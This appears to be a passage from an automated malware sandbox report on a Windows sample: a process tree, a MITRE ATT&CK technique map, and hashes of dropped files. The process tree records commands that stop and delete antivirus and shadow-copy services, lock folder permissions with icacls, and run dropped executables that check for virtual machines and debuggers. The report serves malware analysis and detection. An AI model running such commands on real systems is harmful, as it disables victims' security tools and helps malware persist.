C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor /deny Admin:(OI)(CI)F5⤵PID:2184
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc delete swprv4⤵PID:892
-
C:\Windows\system32\sc.exesc delete swprv5⤵
- Launches sc.exe
PID:1212
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc stop mbamservice4⤵PID:4512
-
C:\Windows\system32\sc.exesc stop mbamservice5⤵
- Launches sc.exe
PID:1924
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc stop bytefenceservice4⤵PID:4244
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1128
-
-
C:\Windows\system32\sc.exesc stop bytefenceservice5⤵
- Launches sc.exe
PID:2320
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc delete bytefenceservice4⤵PID:3032
-
C:\Windows\system32\sc.exesc delete bytefenceservice5⤵
- Launches sc.exe
PID:2296
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc delete mbamservice4⤵PID:1132
-
C:\Windows\system32\sc.exesc delete mbamservice5⤵
- Launches sc.exe
PID:344
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc delete crmsvc4⤵PID:1248
-
C:\Windows\system32\sc.exesc delete crmsvc5⤵
- Launches sc.exe
PID:4116
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Install\Del3.bat4⤵PID:1588
-
C:\Windows\system32\timeout.exetimeout 55⤵
- Delays execution with timeout.exe
PID:328
-
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵PID:4420
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3124
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵PID:2628
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:1696
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1928
-
C:\Windows\SysWOW64\unsecapp.exeC:\Windows\SysWOW64\unsecapp.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2612
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Server Software Component
1Terminal Services DLL
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Users
1Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
4Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
Filesize
1.4MB
MD53288c284561055044c489567fd630ac2
SHA111ffeabbe42159e1365aa82463d8690c845ce7b7
SHA256ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753
SHA512c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02
-
Filesize
48.6MB
MD5bbc538b2f534ed5db2526642a3fffd5c
SHA1b937d5f4371325aa00a4227fe2401a4fcc0cbed3
SHA256f4ee9dc6c556cee21155d75d27286b69518c48131477884fc8436ab62a27b3f1
SHA512b19793f3d835b6c112a4151bfab7a2ed8710571f6085f7a5d1b2841b2e9276f11cc6e36f5cf1c04da45ec5a69ebb825b02cd794e081e33e08367db83790c421a
-
Filesize
19.0MB
MD538d010af4e4cd666b95160fb760d7e0f
SHA1503b0fec4b31bd568e4bcd7b837fc8b93e801187
SHA25602a6b10aacb0a004f2dcddcc8590ec8fb4ef657b2c9f19c077808e768c7a93e2
SHA512b3823cda915e6212aa13b41ad54fa0f80bfab36c23de32dd8a01b37ffa845bd4fe452c46c568db953526634667ccc1d171789f32d2b05762c8a5ccdb6e82b3ae
-
Filesize
6.4MB
MD520b93df357f8e898864e910fd91a5c93
SHA18112b38167733f753bc7eb8c0b74a296b4af2873
SHA256c32990ee2fcb050ffc23982e7be81c77ad76dbe2170df47415f51eb7116f2c40
SHA5125f5afa9b5e79ef49af4030259227d70a7ff9146ec334c1e1590396c5e8e58321420945c0575b7bfcd2d54de118fcf8ff9bffbf90298b590c5647b3291eeb198d
-
Filesize
9.4MB
MD56fde344165a369c3586a68317279247c
SHA1e39b5038f44757a7049c4ebabbd6f62deb280796
SHA25690f414ca8e7fe410a19ea1be7895f8b7df55b35d4289f1bd7c8900b2c886f4b4
SHA512880650d5db061a4aab3df0c99ed1871de4347fb6ed7305c596fa4b75ec57e9c7acecebeeef675ba864d727a898963fe397af08a5d71e7993289299764931349a
-
Filesize
2KB
MD5bc909d39981af556d07dc67178f61472
SHA1a4e5b1c5bc746435a5baf11b728e83fb8e654da0
SHA25610cf28ab39bf7ba76b91b043a007006d13d4a661fbcaad3d7820c19407b1e6a8
SHA512acf34884a865cdabfbb9a49b948ccc74fe1e158636b23e2f728c2df6fd2fb7bda0929eeddf4bf58d90b034215dafa5e2c697050c51c2f2259ff77fa02d80f51a
-
Filesize
10.2MB
MD53f4f5a6cb95047fea6102bd7d2226aa9
SHA1fc09dd898b6e7ff546e4a7517a715928fbafc297
SHA25699fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98
SHA512de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688
-
Filesize
315B
MD572ee38ebb70f9f01e33fd62e454f635f
SHA195df0d6578e35145d37fcf1cf206b03d15d535c8
SHA25627f348e1860ca50b0010baf70f5ecca0ad854b26a0d6ee10cdfd4883d085cceb
SHA512e6186fb628950738ec36c95349ae194153dece4bdbc316570ef4d4402e553edf96f4ef47d7ac164c44ba65a989e5269c24a9be06305f4c60578bba1731db67ef
-
Filesize
315B
MD5155557517f00f2afc5400ba9dc25308e
SHA177a53a8ae146cf1ade1c9d55bbd862cbeb6db940
SHA256f00d027b0ed99814846378065b3da90d72d76307d37b7be46f5a480f425a764e
SHA51240baee6e6b22c386886d89172ad7c17605166f992f2d364c68d90b9874ab6f7b85e0accc91e83b4fbd2ae702def365f23542f22f6be7ff2f7949496cc0ba8a32
-
Filesize
3KB
MD5dc9fa52171eb0944c00164c6a046cb58
SHA1b55cbc8422b4cc006fe47675b7d1b67cc02657e8
SHA256c46aadd00d3a7b81a3910703cd109b86ec1d52cc08493a9d3ac757ec55046010
SHA51282009d261a17c34f4652d1d383fff12ce0761fe8d7483cee20183c983bc01e947d1d2af97642476b23eb48485121adddfe9ad3319ceec3f0726826885a0de7fd
-
Filesize
28.1MB
MD54b45a3dffdf9e550cb4cdf632fd56d15
SHA151c6605ea871ea0668a0db8264c2d52d459fdf6d
SHA256ebff3f4a6eb0b94d5b417480f00baa6ba080c5a1b2ae2b8744ee88f8eea64d6c
SHA51213b2c30e7ad4f035e8b41d3c8f89e797261f87cab5b95b94c7d384a861b6353b76eac23a26549bc41a9c1460de39f2ae0f7ad4beeee6a3f96688f4050b5c9c17
-
Filesize
13.0MB
MD5f41ac8c7f6f7871848ddb6fb718a15bb
SHA1bce00d05c76d0a4eedbd76c2e87fc55c644edac0
SHA256d30a26d6f6676d700f86db8ff522cccfea285e1272f2dba210cf99c3b676a773
SHA51262316becb846b12396401fdb79c14ada97495abdd241fe4815c963d6ea315989bc6f283ff68c17cd90e5b62d3ea025770f4883b2b1f387d0dbe2d41a1c541ba6
-
Filesize
3KB
MD5dda38d0a02ece7d747afcd3085fd9515
SHA17d8fc89118bdc417a1c57a6f59b538449248de99
SHA2569778603aa4a32103bd3ab43c46fd9d55674487de857a560bcda0e6661299dae0
SHA512d208692ea314ff5d396097fae1d10464c631d2b91e0f45de3758da0d462b44cca89b67d89f8f346df805d081b116d81f01e983c45606bf0e91ec3de8ddde7c30
-
Filesize
430KB
MD5f891bebd7e4d0cb3c9a099d966cfb55d
SHA1338dd5cd5dc6ed8dabf6af0e9b025c8c43997d06
SHA2561ee1671a52650d825f4bbe3e48d261a4ee38f7bd6c854f0a93f70d4f054b8ebe
SHA5121390c9d30dc96b60485a504fcfb401adf83d56bc6a0f5f4cf846da6cb4780de1dd9205bc7449f8a37fcfdfafd592f75daba9ed79abce21d5d2f77c90456f0432